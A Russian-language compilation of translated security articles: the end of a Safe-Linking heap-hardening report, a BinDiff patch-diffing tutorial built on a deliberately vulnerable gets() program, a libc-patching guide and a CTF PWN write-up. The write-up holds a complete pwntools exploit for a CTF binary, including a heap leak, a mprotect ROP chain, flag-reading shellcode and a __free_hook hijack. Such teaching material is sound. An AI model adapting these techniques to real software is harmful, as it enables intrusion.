Отправка нашей функции в uClibc-NG была очень простой, и она была сразу же включена в этот коммит. Мы можем с гордостью сказать, что Safe-Linking уже выпущено как часть версии uClibc-NG v1.0.33. Если мы вернемся к нашему исследованию интеллектуальных лампочек, эта функция заблокировала бы наш эксплойт и вынудила бы нас найти дополнительную уязвимость в продукте.
Еще раз, мы хотим поблагодарить сопровождающих uClibc-NG за сотрудничество в этом процессе.
gperftools (tcmalloc)
Статус: Проходит интеграцию.
Activation: Выключена по умолчанию
Хотя мы ранее упоминали о MaskPtr() функциональности Chromium , доступной с 2012 года, эта функция не нашла доступа ни к одной из общедоступных версий tcmalloc. Итак, мы попытались везти в безопасных ссылках реализацию gcfftools tcmalloc.
Из-за сложного состояния репозитория gperftools, теперь, когда официальный репозиторий Google TCMalloc является публичным, этот процесс продвигался медленно, но медленно. В этом запросе от начала января 2020 года вы видите наши усилия по интеграции этой функции в репозиторий. Первоначальный ответ был тот, который мы боялись: наша функция «разрушает производительность». Напомним, что при использовании набора тестов для репозитория наихудший результат составил 1,5%, а среднее значение составило всего 0,02%.
В конце концов, с некоторым нежеланием мы решили добавить эту функцию как «отключенную по умолчанию», надеясь, что когда-нибудь кто-нибудь активирует эту функцию самостоятельно. Эта функция еще не была объединена, но мы надеемся, что это произойдет в ближайшем будущем.
Мы все еще хотели бы поблагодарить единственного сопровождающего этого проекта, который предложил выполнить все необходимые сантехнические работы, чтобы предоставить пользователям возможность конфигурации для включения Safe- Linking.
TCMalloc (tcmalloc)
Status: Отклонено.
Activation: Информации нет.
Мы отправили наш патч в TCMalloc в этом запросе на получение , который, к сожалению, был сразу отклонен. Мы снова услышали: «Затраты на производительность этого слишком велики, чтобы объединить их», и что они не собираются интегрировать его даже в настраиваемую функцию «по умолчанию отключено»: «Хотя макрос защищен, он добавляет еще одну конфигурацию, которая должен быть построен и регулярно проверяться, чтобы все работало ». Мы не смогли найти представителя Google, который помог бы нам разрешить этот конфликт с владельцами репозитория, и мы оставили его как есть.
К сожалению, похоже, что наиболее распространенная реализация Google malloc(), которая используется в большинстве их проектов на C / C ++ (как упомянуто в документации TCMalloc), не собиралась интегрировать функцию безопасности, которая затруднит использование уязвимостей в их проектах. ,
Заключение
Safe-Linking - это не волшебная пуля, которая остановит все попытки эксплуатации современных реализаций кучи. Однако это еще один шаг в правильном направлении. Вынуждая злоумышленника иметь уязвимость утечки указателя еще до того, как он сможет даже начать использовать эксплоит на основе кучи, мы постепенно поднимаем планку борьбы с эксплуатацией.
Исходя из нашего прошлого опыта, это конкретная защита могла бы заблокировать несколько крупных эксплойтов, которые мы реализовывали на протяжении многих лет, превращая, таким образом, "сломанные" программные продукты в «неэкплуатируемые» (по крайней мере, с учетом уязвимостей, которые были у нас во время соответствующих исследовательских проектов).
Также важно отметить, что наше решение не ограничивается только реализациями кучи. Оно также позволяет находящимся под угрозой структурам данных с помощью односвязных указателей списков, расположенных рядом с пользовательскими буферами, получать защиту целостности без каких-либо дополнительных затрат памяти и с незначительным влиянием времени выполнения. Это решение легко распространяется на каждый список в системе с ASLR.
Это был трудный путь, начиная с того момента, когда мы впервые решили эту проблему в конце 2019 года, и до разработки мер по увеличению безопасности и, наконец, интеграции его в качестве функции безопасности, которая доступна по умолчанию в двух самых известных реализациях libc в мире: glibc и uClibc-NG. В итоге мы получили гораздо лучшие результаты в интеграции этой функции, чем мы изначально ожидали, и поэтому мы хотели бы еще раз поблагодарить всех сопровождающих и исследователей, которые помогли воплотить эту идею в реальность. Постепенно, шаг за шагом, мы поднимаем планку борьбы с эксплуатации и помогаем защитить пользователей во всем мире.
Источник: [https://research.checkpoint.com/202...ating-a-20-year-old-malloc-
exploit-primitive/](https://research.checkpoint.com/2020/safe-linking-
eliminating-a-20-year-old-malloc-exploit-primitive/)
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Введение
Этот пост предназначен для людей, которые заинтересованы в патчах безопасности для реверс инжиниринга, но не имеют доступа к дорогостоящим инструментам, таким как IDA Pro, для выполнения таких задач. Прежде всего, мы создадим программу, которая представляет общий класс ошибок, такой как переполнение буфера, а затем пропатчим указанную ошибку. После этого мы будем использовать патч BinExport для Ghidra для экспорта обеих версий программы, а затем будем использовать программу BinDiff для анализа патча. К концу этого поста в блоге вам будет довольно удобно исследовать патчи с помощью BinDiff.
Инструменты
Мы будем использовать следующие инструменты:
- Microsoft Visual Studio Community 2019 version 16.5.1.
- Kali Linux установленный на виртуальной машине.
- Ghidra version 9.1.2 программное обеспечение для реверсинга файлов
- BinExport один из компонентов BinDiff.
- BinDiff version 6 это инструмент сравнения бинарных файлов, который помогает исследователям и инженерам по уязвимостям быстро находить различия и сходства в дизассемблированном коде.Click to expand...
Уязвимая программа
Ниже приведена программа на C, которая уязвима для переполнения буфера из-за использования небезопасной функции gets. Я предполагаю, что читатель уже знаком с программированием на C и переполнением буфера, если нет, то Google - ваш верный помощник.
C:Copy to clipboard
#include <stdio.h>
#include <string.h>
int main(void)
{
char buf[14];
printf("Enter password: ");
gets(buf);
if (strcmp(buf, "falafelislife"))
{
printf("Wrong password!\n");
}
else
{
printf("You're good.\n");
}
return 0;
}
Программист здесь делает предположение, что пользователь уже знает, что пароль должен быть не длиннее 13 символов, и как таковой массив с нулевым символом в конце char buf [14] используется для хранения пароля. Давайте подтвердим работу программы, как и ожидалось.
Как мы видим выше, программа работает, и мы смогли повредить стек, введя 14-символьный пароль.
Патч
Я ни в коем случае не хороший программист, но я считаю, что замена функции get на fgets должна устроить проблему. Дайте мне знать, если есть более элегантный способ исправить это.
C:Copy to clipboard
#include <stdio.h>
#include <string.h>
int main(void)
{
char buf[14];
printf("Enter password: ");
//gets(buf);
fgets(buf, 14, stdin);
if (strcmp(buf, "falafelislife"))
{
printf("Wrong password!\n");
}
else
{
printf("You're good.\n");
}
return 0;
}
После применения исправления мы больше не получаем сообщение об ошибке отладки при вводе паролей длиной более 13 символов.
Setup
На этом этапе мы будем следовать инструкциям, изложенным здесь, чтобы настроить BinExport для Ghidra внутри нашей виртуальной машины Kali Linux. Прежде всего, мы должны убедиться, что у нас установлены все необходимые зависимости, а затем мы собираем BinExport, используя программу gradle.
Если все идет хорошо, вы должны увидеть .zip файл в папке dist.
Затем мы устанавливаем расширение BinExport, загружая zip-файл в Ghidra в File-> Install Extensions ..., а затем проверяем установку.
Теперь у нас должно быть все необходимое для экспорта в BinDiff.
Анализ патча
Давайте загрузим как уязвимые, так и исправленные программы в Ghidra и обязательно запустим их через первоначальный анализ. Я следовал инструкции, упомянутой здесь, и включил опцию агрессивного поиска команд, чтобы получить лучшее покрытие при экспорте. Теперь мы экспортируем программы, используя расширение BinExport.
А затем загружаем их в BinDiff, создав новое рабочее пространство.
Мы получаем хороший обзор обеих программ, которые показывают такие вещи, как хеши, архитектуру и так далее.
Затем мы щелкаем правой кнопкой мыши на Overflow v1.1.exe vs Overflow v1.0.exe и затем нажимаем Open Diff, чтобы создать несколько вкладок.
Я кратко опишу каждую вкладку, но не стесняйтесь смотреть на руководство
BinDiff здесь для более подробной информации:
- Граф вызовов: после создания начальных совпадений для двух исполняемых
файлов, графы вызовов (графики, которые содержат информацию об отношениях
вызовов между функциями) используются для генерации большего количества
совпадений.
- Совпадающие функции: Есть несколько алгоритмов сопоставления, используемых
для определения того, является ли данная функция сходной, например алгоритмы,
основанные на хэше и сопоставлении графов. В этом представлении вы можете
быстро определить, какие функции были изменены, основываясь на значениях
сходства и достоверности среди других факторов.
- Первичные несовпадающие функции отображает функции, которые содержатся в
текущей открытой базе данных и не были связаны с какой-либо функцией базы
данных сравнения.
- Вторичные несовпадающие функции: содержит функции, которые находятся в базе
данных diffed, но не были связаны с какими-либо функциями в первой.
Перейдя на вкладку Matched Functions, я заметил довольно много изменений, учитывая, насколько маленьким был патч, однако FUN_140011840 быстро привлек мое внимание из-за количества базовых блоков по сравнению с другими функциями, которые были изменены. Обратите внимание, что линии окрашены в соответствии с тем, насколько похожи совпадающие функции, где зеленые цвета указывают на высокое сходство, тогда как красные тона указывают на слабые совпадения.
Прежде чем мы продолжим, я хотел бы коснуться показателей сходства и достоверности:
- Сходство: значение от нуля до единицы, указывающее, насколько похожи две совпадающие функции. Значение ровно один означает, что две функции идентичны (в отношении их инструкций, а не их адресов памяти). Значения меньше единицы означают, что функция имеет измененные части.
- Достоверность: значение от нуля до единицы, указывающее достоверность оценки сходства. Обратите внимание, что это значение представляет рассчитанную доверительную оценку для соответствующих алгоритмов, которые включены в файл конфигурации.
Давайте дважды щёлкнем по функции FUN_140011840 и посмотрим, где был применен патч.
Из рисунка выше видно, что это основная функция. Ниже приведены все возможные цвета в этом представлении и то, что представляет каждый цвет:
- Красный: указывает основные блоки, где BinDiff не смог найти эквиваленты.
- Желтый: указывает узлы, для которых алгоритмы смогли находить эквивалентные
функции, но в которых были изменены некоторые инструкции между версиями.
- Зеленый: Обозначает основные блоки, которые имеют одинаковую мнемонику
команд в обоих исполняемых файлах.
Теперь, прежде чем мы перейдем к изменениям, вот как выглядит функция fgets и где должны быть размещены аргументы в соответствии с соглашением о вызовах __fastcall:
C:Copy to clipboard
char *fgets(char *str, int n, FILE *stream)
RCX = This is the pointer to an array of chars where the string read is stored.
RDX = This is the maximum number of characters to be read (including the final null-character). Usually, the length of the array passed as str is used.
R8 = This is the pointer to a FILE object that identifies the stream where characters are read from.
- XOR ECX, ECX - убедитесь, что регистр ECX равен нулю.
- CALL qword ptr [PTR__acrt_iob_func_140020310] - __acrt_iob_func - это внутренняя функция CRT, ссылающаяся на стандартный поток ввода, которая используется по умолчанию в Visual Studio. Возвращаемое значение будет сохранено в регистр RAX.
- MOV R8, RAX - помещает указатель файлового объекта из регистра RAX в R8.
- MOV EDX, 0xe - помещает значение 14 в регистр EDX.
В завершение я должен упомянуть указатель на буфер, в котором будут храниться данные, которые затем сохраняются в регистр RCX через инструкцию LEA RCX, [RBP, 0x8], и, в конечном счете, выполняется вызов функции fgets, который соответствует патчу. В этот момент вы можете спросить себя, что насчет вызова функции fgets? Почему он не помечен как изменение по сравнению с непропатченной версией? Причина, по которой инструкция CALL qword ptr [PTR_fgets_140020308] не была выделена, и, пожалуйста, исправьте меня, если я ошибаюсь, заключается в отсутствии изменений в самой мнемонике, а скорее в операнде, который, насколько я знаю, BinDiff не учитывает.
Вывод
Надеемся, что это сообщение в блоге пролило некоторый свет на тему сравнения патчей, и я настоятельно рекомендую прочитать руководство BinDiff, чтобы полностью понять, что происходит на самом деле для получения окончательных изменений. Наконец, огромное спасибо @AdmVonSchneider за то, что сделали доступными BinDiff и BinExport, и @h0mbre_ за рецензирование.
Источник: https://ihack4falafel.github.io/Patch-Diffing-with-Ghidra/
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Привет, Дамага.
Пока разбирался с эксплуатацией HEAP очень часто сталкивался с проблемой
версий libc.
libc - либ-си - это специальная библиотека где хранится минимально-необходимое
для практически любой программы.
И версий этих библиотек - великое множество. Так вот, что делать, если у нас
бинарник, к примеру, с сервера где версия 2.23, а у нас на машине установлена
2.28 ?
Ведь алгоритмы работы аллокатора отличаются, да оффсеты отличаются. Что
делать, если мы хотим разрабатывать сплоит сразу под нужную версию?
Для этого существует patchelf. Но в этой статье я расскажу как доделать все до конца так, что бы под деббагером было работать комфортно.
В общем наши действия можно разбиить на следующие пункты:
1. качаем бинарник.
2. качаем нужную версию libc
3. качаем отладочные символы нужной версии libc
4. патчим libc
5. патчим бинарь
6. PROFIT!!!
Теперь подробнее:
1.
есть у нас такой вот бинарник. видно, что он приучен к glibc 2.3
Отлично. значит нам подойдёт libc6-2.23.
Я знаю что на том сервере дистрибутив - убунта. так и поступим
идём на офф сайт или архив того дистрибутива который нас интересует и качам
нужную версию:
https://packages.ubuntu.com/xenial/amd64/libc6/download - LIBC6-2.23
скачали? распаковываем в любою папку. например 2.23. в ней появится папка
data.
(да, мы качаем deb и распаковываем его просто как архив, не нужно его
устанавливать, не дай бог)
в папке 2.23/data у нас появились бинарные версии libc
https://packages.ubuntu.com/xenial/amd64/libc6-dbg/download -
LIBC6-2.23-dbg
что за dbg и зачем они нужны увидем позже.
Пока просто качаем и точно так же распаковываем в папочку 2.23/data/data
сделали? замечательно. переходим к пункту 4.
4. тут нужно быть внимательным. иначе придётся всё переделывать.
сперва мы очищаем в либ-си поле, которое хранит информацию об отладочных
символах.
Bash:Copy to clipboard
objcopy -R .gnu_debuglink ./data/libc-2.23.so ⇒ удалить запись об отладочных символах из либы
mv ./data/data/libc-2.23.so ./data/libc-2.23.so.debug ⇒ копируем файл отладочных символов от библиотеки соответствующей версии в папку с кастомной библиотекой.
objcopy --add-gnu-debuglink=libc-2.23.so.debug ./libc-2.23.so ⇒ пишем в сегмет отладочных символов ссылку на файл где отладочные символы
готово. супер.
теперь патчим сам бинарник:
Bash:Copy to clipboard
patchelf --set-interpreter ld-2.23.so ./binary ⇒ патчим эльф на новый либц
patchelf --replace-needed libc.so.6 /full/path/to/current/folder/with/libc-2.23.so ./binary ⇒ указываем ельфу где ему брать всё остальные либы
супер!
проверяем:
gdb -q ./chapter1
start
vmmap
Теперь об отладочных символах и зачем это нужно.
Допустим, мы хотим проанализировать heap под pwndbg. И мы пишем
heap
vis
в ответ мы получаем сообщение следующего характера:
разумеется что мы не будем себе на debian, к примеру, ставить отладочные
символы от 2.23 убунтовской libc. Да мы и не сможем этого сделать...
По этому мы обращаемся к пункту 3 и 4
Вот как-то так. Теперь работать будет немного удобнее.
До скорого)
PWN — одна из наиболее самодостаточных категорий тасков на CTF-соревнованиях. Такие задания быстро готовят к анализу кода в боевых условиях, а райтапы по ним чаще всего описывают каждую деталь, даже если она уже была многократно описана. Мы рассмотрим таск Useless Crap с апрельского TG:HACK 2020. Сам автор оценил его сложность как Hard. Задание очень интересное, во время соревнования я потратил на него около двенадцати часов.
Подготовка
Для начала расскажу об инструментах, которые я использовал.
Я предпочел не выбирать однозначно между IDA и Ghidra и использую один или другой дизассемблер в зависимости от ситуации, но в тасках категории PWN хороший псевдокод чаще выдает IDA.
«Ванильный» GDB невозможно использовать без очень серьезной психологической подготовки, так что чаще всего его юзают в сочетании с одним из плагинов: PEDA, GEF или pwndbg. Из них PEDA — самый старый (классический!) вариант, но я до сих пор не переехал на один из новых, так что использую его.
Также, пока весь мир полностью переезжает на Python 3, разработчики эксплоитов и не думают о том, чтобы покидать любимый Python 2. Дело в очень неприятной обработке raw bytes в третьей ветке Python, приходится постоянно держать в голове ее особенности и тратить лишнее время на исправление возникающих багов.
Полезные дополнительные инструменты:
Первоначальный осмотр
Итак, организаторы дали нам бинарник и файлы серверной libc и линковщика. Также точно указан путь до флага; опытные игроки в CTF сразу могут предположить, что придется писать свой шелл-код.
Очевидно, самое первое, что нужно сделать, — это просто выполнить бинарник и примерно оценить сложность, быстренько просмотрев security mitigations в checksec.
Чтобы исполняемый файл использовал нужную libc, пропатчим в нем путь до линкера и укажем ее в переменной окружения LD_PRELOAD.
patchelf --set-interpreter ld-2.31.so ./crap
LD_PRELOAD=./libc-2.31.so ./crapClick to expand...
Нас встречает незамысловатая менюшка, появляется надежда на быстрое и простое решение. Живет эта надежда, правда, недолго, примерно до открытия checksec.
У нас включены на максимум все защитные механизмы. Вот их краткое описание.
NX — делает стек неисполняемым. Около двадцати лет назад большинство уязвимостей переполнения буфера эксплуатировали запись шелл-кода на стек с последующим прыжком на него. NX делает такую технику невозможной, однако сейчас она еще жива в мире IoT.
Stack canary — определенное секретное значение на стеке, записанное перед RBP и return pointer и, таким образом, защищающее их от перезаписи через уязвимость переполнения буфера.
Full RELRO — делает сегмент GOT доступным только для чтения и размещает его перед сегментом BSS. Техники эксплуатации через перезапись GOT не сложны, но выходят за рамки этой статьи, так что предлагаю читателю самому разобраться с ними. О том, что такое Global Offset Table, можно прочитать, например, в Википедии(https://en.wikipedia.org/wiki/Global_Offset_Table).
Как работают ASLR и PIE?
ASLR — это защитный механизм, который значительно усложняет эксплуатацию. Его основная задача — рандомизация базовых адресов всех регионов памяти, кроме секций, принадлежащих самому бинарнику.
По сути, ASLR работает следующим образом. В диапазоне адресов, который на несколько порядков превышает размер рандомизируемого региона памяти, выбирается начальная точка отсчета, базовый адрес. К нему есть два требования:
Главная проблема атакующего в том, что это действительно работает. Можно взять конкретный пример: нужно найти адрес функции system в libc, при этом никакой информации о нем не известно. Давай примерно представим, сколько времени на это понадобится. Первый байт любого адреса библиотеки почти обязан быть равен 0x7f. Последние три ниббла мы знаем, так как независимо от выбора базового адреса они остаются теми же при каждом запуске программы. Достаточно несложная школьная задачка по комбинаторике:
2^8 * 2^8 * 2^8 * 2^4 = 2^28 = 268435456
Click to expand...
Это примерная оценка, так как не учитывается определенное количество адресов вверху диапазона, которые брать нельзя, иначе остальной регион памяти тогда не уместится; тем не менее она достаточно точная. Допустим, на каждый запуск эксплоита в среднем мы тратим три секунды. Тогда полный перебор займет примерно 25 лет, что нас явно не устраивает, ведь CTF идет всего 48 часов.
Ну и наконец, PIE — это, по сути, ASLR для сегментов памяти самого исполняемого файла. В отличие от базового ASLR, который работает на уровне ОС, PIE — это опциональный защитный механизм, он может и не присутствовать в бинарнике.
Реверс-инжиниринг программы
Есть легенда, что если реверсера разбудить среди ночи и дать ноутбук, то он первым делом откроет IDA и нажмет F5. Не знаю, насколько это правда, но всегда поступаю именно так, когда хочу разобраться, как работает неизвестный исполняемый файл.
Нам повезло, декомпилированный псевдокод выглядит приятно и легко читается, так что больших проблем с пониманием механизмов исполняемого файла быть не должно.
Рассмотрим функции по порядку.
1. init
Здесь нет ничего по-настоящему интересного, просто отключается буферизация ввода и вывода и устанавливается время работы программы (после 0x3c секунд произойдет прыжок на handler, функцию, которая состоит из одной строки: exit(0).
2. sandbox
Эта функция намного интереснее предыдущей: оказывается, в программе достаточно
жестко настроен seccomp. Давай
разберемся, какие системные вызовы разрешены. Найти таблицу соответствий
названий сисколлов с их номерами не
представляет труда.
Итак, абсолютно точно разрешены exit, mprotect, open и close. Немного, но уже становится понятен финальный этап эксплуатации: нужно будет сделать один из регионов памяти доступным для чтения, записи и исполнения, записать туда шелл- код на чтение файла с флагом и прыгнуть на него.
Также доступны системные вызовы read и write, но не полностью. IDA не показывает аргументы seccomp_rule_add после четвертого, а ведь основные правила настройки для заданных сисколлов именно там. Нажав правой кнопкой мыши на название функции, можно выбрать опцию Set call type и, таким образом, дописать еще несколько __int64, чтобы увидеть больше аргументов.
По опыту работы с seccomp могу сказать, что IDA не совсем правильно определила седьмой аргумент, который равен SCMP_CMP_EQ (это 4), но становится ясно, что программа может читать только из нулевого дескриптора (stdin), а писать только в первый дескриптор (stdout). Пока что не совсем понятно, как тогда написать шелл-код, ведь читать нужно в любом случае из дескриптора открытого файла, который точно не равен нулю. Но об этом позже.
3. menu
Это меню, которое выводится каждую итерацию цикла в main.
4. get_num
Получение номера выбранной функции происходит безопасно, здесь нет ничего интересного для нас.
5. do_read
Автор таска предоставляет нам чистый arbitrary read. Не могу сказать, что это очень редкое и уникальное решение, но такие задания чаще всего крайне интересны. Мы можем прочитать что угодно откуда угодно не более двух раз, по крайней мере так будет считать программа. Переменная read_count глобальная, а значит, хранится не на стеке, а в BSS. В дальнейшем понимание этого может облегчить эксплуатацию.
6. do_write
Похожим образом работает do_write. У нас появляется возможность записывать что
угодно куда угодно, пока write_count меньше единицы или равен ей. Сразу можно
придумать обход механизма проверки: после каждой записи через следующий
do_write присваивать write_count значение -1, таким образом получить полный,
ничем не ограниченный arbitrary write и схожим образом arbitrary read.
Мы еще не успели прочитать весь код, а уже имеем серьезный контроль над потоком выполнения программы.
При выборе третьей опции меню вместо незамедлительного выхода программа
попросит оставить обратную связь. Это происходит следующим образом:
Пока что эта ошибка некритична, но в дальнейшем может быть очень полезна.
Чтобы вызвать эту функцию, нужно ввести цифру 4, упоминания о которой нет в
меню. Функция view_feedback выводит то, что находится по указателю feedback,
не проверяя состояние чанка, который может быть освобожден. Такой тип
уязвимостей называется Use-After-Free. Подразумевается, что по адресу
указателя должен лежать пользовательский ввод, но чуть позже мы увидим, что
для освобожденных чанков это не всегда так.
UAF и почему это хорошо
Более подробно о реализации ptmalloc можно прочитать в блоге Sploit Fun, но мы рассмотрим работу с кучей упрощенно. Чтобы понять, что происходит, когда программист создает чанк размером 1281 байт, а затем освобождает его, напишем свою программу.
#include <stdio.h>
#include <stdlib.h>int main() {
void **a, *b;a = calloc(1, 1281);
b = malloc(200);
free(a);
printf("%p\n", *a);
}Click to expand...
Чанк b нужен для того, чтобы не произошло консолидации с топ-чанком и попросту полного удаления структуры a после его освобождения.
Теперь стал ясен первый этап эксплуатации.
Можно выполнить это в GDB, чтобы посчитать оффсет до корня libc и получить базовый адрес.
Последовательно выполняя команды ni и si, доходим до инструкции, которая вызывает free нужного нам чанка, и через x/6b посмотрим на то, какой указатель там лежит.
По 0x7f в конце становится понятно, что перед нам один из адресов libc. Посчитать разницу 0x7ffff7fc2be0 и 0x7ffff7c0d000 не составит труда: она равна 0x3b5be0. Итак, мы знаем точный оффсет от корня libc до полученного адреса.
Можно начать писать эксплоит:
Python:Copy to clipboard
from pwn import *
p=process('./crap')
p.recvuntil('>')
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.recvuntil('>')
p.sendline('4')
## Парсинг нужного куска вывода
x = p.recvline().strip().split(': ')[-1][::-1].encode('hex')
libc_base = int(x, 16) - 0x3b5be0
print 'libc base is', hex(libc_base)
Увеличиваем контроль
Для упрощения грядущей разработки эксплоита почти необходимо описать функции read и write через собственные обертки на Python.
Python:Copy to clipboard
def read(addr):
p.sendline('1')
p.recvuntil('addr: ')
p.sendline(hex(addr)[2:])
x=p.recvline().strip().split(': ')[-1]
p.recvuntil('>')
return x
def write(where, what):
p.sendline('2')
p.recvuntil(': ')
p.sendline('{} {}'.format(hex(where)[2:], hex(what)[2:]))
p.recvuntil('>')
Мы сделали первые шаги в эксплуатации, но успех еще далеко. Адрес libc — это, конечно, неплохо, но нам точно понадобятся адреса PIE и стека для дальнейшей эксплуатации. В glibc существует глобальная переменная environ, которая указывает на переменные окружения, хранящиеся на стеке, так что осталось только узнать ее значение. Можно поступить следующим образом.
Посчитать оффсет от адреса environ до корня libc можно так же, как мы делали это раньше: через команды x и vmmap.
Написать код для выполнения обозначенных шагов достаточно несложно:
Python:Copy to clipboard
environ=libc_base+0x3b8618
print 'environ is', hex(environ)
stack=int(read(environ), 16)
print 'stack is', hex(stack)
## -48 можно получить как просмотрев стек в GDB,
## так и обычным перебором
pie=read(stack-48)
## -2970 и следующие оффсеты получены через x и vmmap
pie=int(pie, 16)-2970
read_count=pie+2105392
write_count=pie+0x202033
feedback=pie+0x202038
print 'pie is', hex(pie)
write(read_count, 0) # read_count=0
write(write_count, 0xfffffffffffffff0) # write_count = -16
Что такое этот ROP?
Сама по себе техника ROP очень изящна, ознакомиться с ней я советую даже людям, не планирующим в дальнейшем серьезно заниматься разработкой эксплоитов. Научиться базовым трюкам можно, например, на сайте ROP Emporium.
Сейчас нужно понимать только то, что ROP — техника бинарной эксплуатации, основная фишка которой — составление своей программы из кусочков эксплуатируемой. Существует понятие гаджета — это такой кусочек программы, после выполнения которого хакер не теряет контроль над потоком выполнения, а может выполнять следующие гаджеты.
Нам нужно сделать один из регионов памяти Readable, Writable и eXecutable (rwx). Достичь изменения прав можно, вызвав функцию mprotect следующим образом:
C:Copy to clipboard
mprotect(addr, some_size, 7)
Третий аргумент указывает как раз на то, что мы хотим сделать регион rwx.
Положить нужные значения в нужные регистры нам поможет техника ROP. В 64-битном Linux аргументы соответствуют регистрам в следующем порядке:
Следующие аргументы, если они есть, находятся на стеке.
ROP естественно использовать при эксплуатации уязвимости переполнения буфера, но здесь у нас ее нет, как и нет возможности создать ее искусственно. Поэтому будем использовать следующий алгоритм.
В качестве подопытного я выбрал адрес, отстоящий на 0x201000 от корня PIE, и попробовал изменить права на него. Сама цепь схематично должна выглядеть примерно так:
Python:Copy to clipboard
make rdi = (pie+0x201000)
## 1000 - число с потолка, по сути, можно любое другое,
## потому что mprotect изменит права всего региона
make rsi = 1000
make rdx = 7
call mprotect
Для поиска гаджетов существует много инструментов, я использую ROPgadget.
Давай скормим программе данный нам libc и найдем все нужные нам гаджеты. Сделать это можно при помощи команды
C:Copy to clipboard
ROPgadget --binary libc-2.31.so > n
Далее при помощи любого текстового редактора можно из огромного списка найти нужные нам кусочки. В нашем случае прекрасно подойдут следующие гаджеты:
0x0000000000021882 : pop rdi ; ret
0x0000000000022192 : pop rsi ; ret
0x000000000012c561 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000002187f : pop r14 ; pop r15 ; retClick to expand...
Последний гаджет будем использовать в качестве спускового крючка для выполнения цепочки. Оффсет до mprotect можно найти через GDB. Итак, код эксплоита:
Python:Copy to clipboard
pop_rdi = 0x21882
pop_rsi = 0x22192
pop_rax_rdx_rbx = 0x12c561
pop_r14_r15 = 0x2187f
place=pie+0x201000
mprotect = libc_base + 986064
## Сдвиг можно посчитать, поставив брейк-пойнт
## на инструкцию ret функции do_write
add = stack - 264
write(add, libc_base+pop_rdi)
write(write_count, 0xfffffffffffffff0)
write(add+8, place)
write(write_count, 0xfffffffffffffff0)
write(add+16, libc_base+pop_rsi)
write(write_count, 0xfffffffffffffff0)
write(add+24, 1000)
write(write_count, 0xfffffffffffffff0)
write(add+32, libc_base+pop_rax_rdx_rbx)
write(write_count, 0xfffffffffffffff0)
write(add+40, 0)
write(write_count, 0xfffffffffffffff0)
write(add+48, 7)
write(write_count, 0xfffffffffffffff0)
write(add+56, 0)
write(write_count, 0xfffffffffffffff0)
write(add+64, mprotect)
write(write_count, 0xfffffffffffffff0)
## Когда цепочка отработала, прыгаем на main
write(add+72, pie+0x0000000000001192)
write(write_count, 0xfffffffffffffff0)
## Здесь мы закончили писать ROP,
## и нужно заставить программу его выполнить
## Позиция на стеке, на которой лежит return address do_write
ret = stack - 288
write(ret, libc_base+pop_r14_r15)
write(write_count, 0xfffffffffffffff0)
Нужный нам регион стал доступен для чтения, записи и исполнения кода.
Пишем шелл-код
Вот и пришло время подумать, как именно писать шелл-код для завершения эксплуатации. Во время CTF на этот этап я потратил около десяти часов и чудом наткнулся на [вопрос со Stack Overflow](https://stackoverflow.com/questions/22367920/is-it-possible-that- linux-file-descriptor-0-1-2-not-for-stdin-stdout-and-stderr?lq=1), который подвел меня к нужной мысли.
Идея такая: новому открытому файлу выдается минимальный из возможных файловых дескрипторов. Тогда если нулевой дескриптор был бы свободен, то open("flag.txt", O_RDONLY) вернул бы ноль, то есть к файлу можно было бы обращаться как к stdin в обычных условиях. Достичь этого можно, просто выполнив close(0), ведь системный вызов close разрешен seccomp.
Эта простая, но одновременно красивая идея. Именно она сделала этот таск одним из интереснейших, когда-либо решенных мной.
Python:Copy to clipboard
shell='''
mov rdi, 0
mov rax, 3
syscall ; closing stdin
mov rsi, 0
push 0
mov rcx, 8392585648256674918 ; «flag.txt» in little-endian
push rcx
mov rdi, rsp
mov rax, 2
syscall
mov rax, 0
mov rdi, 0
mov rsi, rsp
mov rdx, 60
syscall ; writing flag to the top of the stack
mov rdi, 1
mov rsi, rsp
mov rdx, 60
mov rax, 1
syscall ; printing flag
'''
print shell
## pwntools предоставляет очень удобный API для написания шелл-кодов
shellcode=asm(shell).encode('hex')
## Не стоит пугаться этого цикла. Это просто запись по 8 байт
for i in range(13):
print(i)
write(place+(i*8), int(shellcode[i*16:(i+1)*16].decode('hex')[::-1].encode('hex'), 16))
write(write_count, 0xfffffffffffffff0)
Используем free_hook
GNU C предоставляет нам возможность изменять поведение функций malloc, free и realloc, используя соответствующие хуки. Если значения __malloc_hook, __free_hook или __realloc_hook будут не равны нулю, то программа прыгнет на адреса, записанные в них, при попытке выполнить соответствующие функции.
Кстати, почитать об этой и других фишках бинарной эксплуатации можно в репозитории CTF-pwn-tips, во время соревнований он действительно помогает.
Закончить эксплуатацию я хочу, прыгнув на шелл-код через __free_hook. Напомню, что программа выполняет free, если в функции leave_feedback выбрать опцию удаления обратной связи. Завершающая часть эксплоита:
Python:Copy to clipboard
free_hook=3898952+libc_base
print 'free_hook is', hex(free_hook)
print 'place is', hex(place)
print 'feedback is', hex(feedback)
write(free_hook, place)
write(write_count, 0xfffffffffffffff0)
write(feedback, 0)
## Триггерим free
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.interactive()
Выводы
Спасибо автору таска PewZ за интересную идею и предоставление докер-контейнера с игрового сервера. Решить таск самостоятельно можно, если выполнить следующую команду:
nc ctf.sprush.rocks 6001
Click to expand...
Как минимум в течение месяца после публикации статьи (то есть до середины июня 2020 года) она должна работать.
**Павел Блинников **
Студент кафедры "Криптология и кибербезопасность" НИЯУ МИФИ. Люблю бинарщину, CTF и бинарщину в CTF.
В нашем предыдущем исследовании (https://research.checkpoint.com/2018/50-adobe-cves-in-50-days/), мы использовали WinAFL (https://github.com/googleprojectzero/winafl) для фаззинга приложений пользовательского пространства работающих в Windows, и обнаружили более 50 уязвимостей в Adobe Reader и Microsoft Edge.
Для нашего следующего испытания, мы решили пойти дальше чего-то большего: сделать фаззинга ядра Windows. В качестве дополнительного бонуса, мы можем взять наши ошибки в пользовательском пространстве и использовать их вместе с любыми ошибками ядра, которые мы обнаружим, чтобы создать полную цепочку - потому что удаленное выполнение кода без побега/повышения привилегий в песочнице в настоящее время практически ничего не стоят.
Помня о цели, мы решили исследовать ландшафт фаззера ядра, посмотреть, какие у нас есть варианты для достижения нашей цели, и, возможно, серьезно изменить существующие инструменты, чтобы они лучше соответствовали нашим потребностям.
